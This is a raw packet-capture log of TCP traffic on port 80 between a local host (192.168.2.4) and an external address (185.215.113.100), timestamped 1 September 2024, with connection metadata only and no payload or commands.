Sep 1, 2024 01:22:11.496037960 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496041059 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496047974 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496056080 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496064901 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496076107 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496088028 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496088982 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496098042 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496109962 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496119976 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496121883 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496140957 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496166945 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496176958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496185064 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496190071 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496212006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496220112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496227980 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496229887 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496239901 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496251106 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496256113 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496263027 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496272087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496273994 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496283054 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496292114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496303082 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496320009 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496591091 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496637106 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496665001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496673107 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496681929 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496691942 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496709108 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496710062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496721029 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496730089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496731997 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496743917 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496748924 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496757984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496766090 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496772051 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496777058 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496787071 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496795893 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496798038 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496819973 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496828079 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496830940 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496840954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496850014 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496860981 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496872902 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496879101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496887922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496891975 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496898890 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496908903 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496921062 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496926069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496933937 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.496944904 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.496963978 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.497128963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.497148037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.497155905 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.497174025 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.497199059 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.497204065 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.497214079 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.497222900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.497248888 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.497251987 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.497262001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.497267008 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.497288942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.497302055 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581465006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581476927 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581486940 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581501007 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581511974 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581521034 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581532001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581537008 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581552029 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581562042 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581571102 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581579924 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581588984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581593037 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581600904 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581610918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581613064 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581620932 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581628084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581633091 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581639051 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581649065 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581655979 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581672907 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581691027 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581722021 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581732988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581741095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581752062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581759930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581768990 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581769943 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581779957 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581789970 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581792116 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581799030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581809044 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581820965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581820965 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581830978 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581842899 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581847906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581859112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581866026 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581867933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581878901 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581888914 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581891060 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581903934 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581907988 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581914902 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581924915 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581934929 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581934929 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581943989 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581953049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581962109 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581964016 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.581971884 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581989050 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.581993103 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582004070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582005024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582020998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582031965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582032919 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582041979 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582051992 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582062006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582062960 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582072020 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582081079 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582083941 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582093000 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582098007 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582103014 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582113981 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582122087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582123995 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582129955 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582142115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582142115 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582163095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582164049 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582173109 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582182884 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582190037 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582192898 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582205057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582223892 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582233906 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582263947 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582356930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582366943 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582402945 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582518101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582530022 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582566977 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582672119 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582684040 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582694054 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582715988 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582729101 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.582843065 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.582885981 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583336115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583344936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583384991 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583471060 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583481073 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583491087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583517075 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583528042 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583619118 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583630085 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583637953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583647966 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583657980 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583666086 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583667994 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583678961 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583686113 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583688974 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583698988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583708048 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583714962 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583719969 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583729029 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583739042 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583739996 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583753109 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583755970 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583765984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583775043 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583776951 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583786964 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583795071 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.583797932 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583822966 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.583834887 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584041119 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584049940 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584054947 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584060907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584069014 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584086895 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584117889 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584197044 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584208965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584218025 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584239006 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584255934 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584327936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584372044 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584491968 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584501028 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584539890 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584638119 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584649086 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584657907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584666967 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584688902 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584703922 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584809065 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584820986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584827900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584836960 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584846973 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584847927 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584857941 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584867954 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584870100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584882021 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584892035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584893942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584903955 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584914923 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.584918976 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584938049 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.584953070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.585546017 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.585556030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.585572958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.585598946 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.585622072 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.585685968 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.585695982 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.585705996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.585715055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.585725069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.585727930 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.585755110 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.585768938 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667290926 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667314053 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667323112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667352915 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667382002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667382002 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667402983 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667412996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667424917 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667437077 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667443991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667453051 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667457104 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667464972 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667474031 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667486906 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667517900 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667540073 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667550087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667560101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667568922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667577982 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667607069 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667609930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667619944 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667628050 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667639017 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667654991 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667655945 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667665958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667674065 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667675018 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667682886 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667695999 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667706013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667715073 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667716980 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667726040 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667737007 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667752981 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667785883 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667792082 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667802095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667812109 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667819977 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667829037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667836905 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667839050 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667855024 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667870045 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667881012 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667885065 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667889118 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.667910099 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.667928934 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668001890 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668010950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668021917 CEST	80	49730	185.215.113.100	192.168.2.4
